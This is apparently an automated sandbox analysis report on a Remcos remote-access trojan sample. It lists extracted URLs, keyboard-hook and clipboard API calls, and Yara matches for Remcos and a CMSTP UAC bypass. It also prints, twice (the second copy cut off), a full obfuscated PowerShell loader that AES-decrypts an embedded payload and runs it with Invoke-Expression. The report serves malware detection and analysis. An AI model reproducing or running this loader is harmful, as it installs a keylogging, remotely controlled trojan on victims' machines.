Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://acae307a6acdd4e64531be6276770618.azr.footprintdns.com/apc/trans.gif?467894188c5d788807342326
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://acae307a6acdd4e64531be6276770618.azr.footprintdns.com/apc/trans.gif?a176b93f037f93b5720edf68
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingaot
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingaotak
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingrms
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingth
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=wsb
Source: powershell.exe, 00000001.00000002.1702329614.000001F151F81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/ODSP_Sync_Client/19.043.0304.0013?UpdateRing=Prod&OS=Win&OSV
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Skype/1446_8.53.0.77?OSVer=10.0.19045.2006&ClientID=RHTiQUpX
Source: powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://cxcs.microsoft.net/api/settings/en-GB/xml/settings-tipset?release=20h1&sku=Professional&plat
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://ecs.nel.measure.office.net?TenantId=ODSP_Sync_Client&DestinationEndpoint=Edge-Prod-BL2r8e&Fr
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://ecs.nel.measure.office.net?TenantId=ODSP_Sync_Client&DestinationEndpoint=Edge-Prod-BLUr5a&Fr
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://ecs.nel.measure.office.net?TenantId=Skype&DestinationEndpoint=Edge-Prod-BL2r8e&FrontEnd=AFD
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://fp-afd-nocache-ccp.azureedge.net/apc/trans.gif?99bdaa7641aea1439604d0afe8971477
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://fp-afd-nocache-ccp.azureedge.net/apc/trans.gif?bc7d158a1b0c0bcddb88a222b6122bda
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://fp-afdx-bpdee4gtg6frejfd.z01.azurefd.net/apc/trans.gif?60caefc8ca640843bccad421cfaadcc8
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://fp-afdx-bpdee4gtg6frejfd.z01.azurefd.net/apc/trans.gif?a9bddedb22fa9ee1d455a5d5a89b950c
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://fp-vp-nocache.azureedge.net/apc/trans.gif?4be9f57fdbd89d63c136fa90032d1d91
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://fp-vp-nocache.azureedge.net/apc/trans.gif?e5772e13592c9d33c9159aed24f891a7
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://fp-vp.azureedge.net/apc/trans.gif?a6aceac28fb5ae421a73cab7cdd76bd8
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://fp-vp.azureedge.net/apc/trans.gif?b57fe5cd49060a950d25a1d237496815
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://fp-vs-nocache.azureedge.net/apc/trans.gif?2f6c563d6db8702d4f61cfc28e14d6ba
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://fp-vs-nocache.azureedge.net/apc/trans.gif?3dacce210479f0b4d47ed33c21160712
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://fp-vs-nocache.azureedge.net/apc/trans.gif?7e0e9c3a9f02f17275e789accf11532b
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://fp-vs-nocache.azureedge.net/apc/trans.gif?81f59f7d566abbd2077a5b6cdfd04c7b
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://fp-vs.azureedge.net/apc/trans.gif?3c5bdbf226e2549812723f51b8fe2023
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://fp-vs.azureedge.net/apc/trans.gif?c50299ad5b45bb3d4c7a57024998a291
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://fp.msedge.net/conf/v2/asgw/fpconfig.min.json?monitorId=asgw
Source: powershell.exe, 00000001.00000002.1702329614.000001F1521A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: RegAsm.exe, 00000004.00000002.1747987685.0000000002CDB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld200
Source: RegAsm.exe, 00000004.00000002.1747223891.0000000000D8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2https://login.live.com/oauth20_authorize.srfh
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/authorize?response_type=code&client_id=d3590ed6-52b3
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize?response_type=code&client_id=d3590ed6-52b3-4102-ae
Source: RegAsm.exe	String found in binary or memory: https://login.yahoo.com/config/login
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://logincdn.msauth.net/16.000/Converged_v22057_4HqSCTf5FFStBMz0_eIqyA2.css
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://logincdn.msauth.net/16.000/Converged_v22057_sKiljltKC1Ne_Y3fl1HuHQ2.css
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://logincdn.msauth.net/16.000/content/js/ConvergedLoginPaginatedStrings.en-gb_BxKM4IRLudkIao5qo
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://logincdn.msauth.net/16.000/content/js/ConvergedLoginPaginatedStrings.en-gb_RP-iR89BipE4i7ZOq
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://logincdn.msauth.net/shared/1.0/content/js/ConvergedLogin_PCore_AI1nyU_u3YQ_at1fSBm4Uw2.js
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://logincdn.msauth.net/shared/1.0/content/js/ConvergedLogin_PCore_tSc0Su-bb7Jt0QVuF6v9Cg2.js
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://logincdn.msauth.net/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://maps.windows.com/windows-app-web-link
Source: powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://oneclient.sfx.ms/PreSignInSettings/Prod/2022-09-17-00-05-23/PreSignInSettingsConfig.json?One
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/update100.xml?OneDriveUpdate=27ff908e89d7b6264fde
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/dfb21df16475d4e5b2b0ba41e6c4e842c100b150.xml?OneDriveUpdate=586ba6
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/dfb21df16475d4e5b2b0ba41e6c4e842c100b150.xml?OneDriveUpdate=7ccb04
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/dfb21df16475d4e5b2b0ba41e6c4e842c100b150.xml?OneDriveUpdate=b1ed69
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://ow1.res.office365.com/apc/trans.gif?17a81fd4cdc7fc73a2b4cf5b67ff816d
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://ow1.res.office365.com/apc/trans.gif?29331761644ba41ebf9abf96ecc6fbad
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://ow1.res.office365.com/apc/trans.gif?2f153f40414852a5ead98f4103d563a8
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://ow1.res.office365.com/apc/trans.gif?a50e32ebd978eda4d21928b1dbc78135
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/ew-preload-inline-2523c8c1505f1172be19.js
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/otel-logger-104bffe9378b8041455c.js
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-35de8a913e.css
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-async-styles.a903b7d0ab82e5bd2f8a.chunk.v7.css
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-bootstrap-5e7af218e953d095fabf.js
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-bundle-0debb885be07c402c948.js
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-bundle-994d8943fc9264e2f8d3.css
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-fluent~left-nav-rc.ec3581b6c9e6e9985aa7.chunk.v7.js
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-forms-group~mru~officeforms-group-forms~officeforms
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-left-nav-rc.6c288f9aff9797959103.chunk.v7.js
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-mru.9ba2d4c9e339ba497e10.chunk.v7.js
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-vendor-bundle-1652fd8b358d589e6ec0.js
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-vendors~left-nav-rc.52c45571d19ede0a7005.chunk.v7.j
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-vendors~left-nav-rc.d918c7fc33e22b41b936.chunk.v7.c
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwaunauth-9d8bc214ac.css
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/sharedfontstyles-27fa2598d8.css
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/sharedscripts-939520eada.js
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/staticpwascripts-30998bff8f.js
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/staticstylesfabric-35c34b95e3.css
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/hero-image-desktop-f6720a4145.jpg
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/lockup-mslogo-color-78c06e8898.png
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/microsoft-365-logo-01d5ecd01a.png
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/unauth-apps-image-46596a6856.png
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/unauth-checkmark-image-1999f0bf81.png
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://res.cdn.office.net/officehub/versionless/officehome/thirdpartynotice.html
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://res.cdn.office.net/officehub/versionless/webfonts/segoeui_regular.woff2
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://res.cdn.office.net/officehub/versionless/webfonts/segoeui_semibold.woff2
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://rum8.perf.linkedin.com/apc/trans.gif?690daf9375f3d267a5b7b08fbc174993
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://rum8.perf.linkedin.com/apc/trans.gif?fe61b216ccbcc1bca02cb20f2e94fb51
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://sin06prdapp01-canary-opaph.netmon.azure.com/apc/trans.gif?909b77fc750668f20e07288ff0ed43e2
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://sin06prdapp01-canary-opaph.netmon.azure.com/apc/trans.gif?c6931b9e725f95cf9c20849dd6498c59
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: RegAsm.exe, RegAsm.exe, 00000007.00000002.1737644075.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: RegAsm.exe	String found in binary or memory: https://www.google.com/accounts/servicelogin
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://www.office.com/

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0040A2B8 SetWindowsHookExA 0000000D,0040A2A4,00000000

3_2_0040A2B8

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0040B70E OpenClipboard,GetClipboardData,CloseClipboard,

3_2_0040B70E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004168C1 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,	3_2_004168C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040987A EmptyClipboard,wcslen,GlobalAlloc,GlobalFix,memcpy,GlobalUnWire,SetClipboardData,CloseClipboard,	4_2_0040987A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004098E2 EmptyClipboard,GetFileSize,GlobalAlloc,GlobalFix,ReadFile,GlobalUnWire,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,	4_2_004098E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00406DFC EmptyClipboard,GetFileSize,GlobalAlloc,GlobalFix,ReadFile,GlobalUnWire,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,	5_2_00406DFC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00406E9F EmptyClipboard,strlen,GlobalAlloc,GlobalFix,memcpy,GlobalUnWire,SetClipboardData,CloseClipboard,	5_2_00406E9F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_004068B5 EmptyClipboard,GetFileSize,GlobalAlloc,GlobalFix,ReadFile,GlobalUnWire,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,	7_2_004068B5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_004072B5 EmptyClipboard,strlen,GlobalAlloc,GlobalFix,memcpy,GlobalUnWire,SetClipboardData,CloseClipboard,	7_2_004072B5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0040B70E OpenClipboard,GetClipboardData,CloseClipboard,

3_2_0040B70E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0040A3E0 GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,

3_2_0040A3E0

E-Banking Fraud

Contains functionalty to change the wallpaper

Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.1f163071700.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.1f163071700.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2929959756.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1760253899.000001F161F90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2928318861.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1760253899.000001F162D9C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6744, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 1344, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Notepo\logs.dat, type: DROPPED

Spam, unwanted Advertisements and Ransom Demands

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0041C9E2 SystemParametersInfoW,

3_2_0041C9E2

System Summary

Malicious sample detected (through community Yara rule)

Source: 3.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 3.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 3.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 1.2.powershell.exe.1f163071700.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 1.2.powershell.exe.1f163071700.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 1.2.powershell.exe.1f163071700.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 1.2.powershell.exe.1f163071700.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 1.2.powershell.exe.1f163071700.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 1.2.powershell.exe.1f163071700.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000001.00000002.1760253899.000001F161F90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000003.00000002.2928318861.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000003.00000002.2928318861.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000003.00000002.2928318861.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000001.00000002.1760253899.000001F162D9C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 6744, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 6744, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: RegAsm.exe PID: 1344, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown

Very long command line found

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 3116
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 3116			Jump to behavior

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = 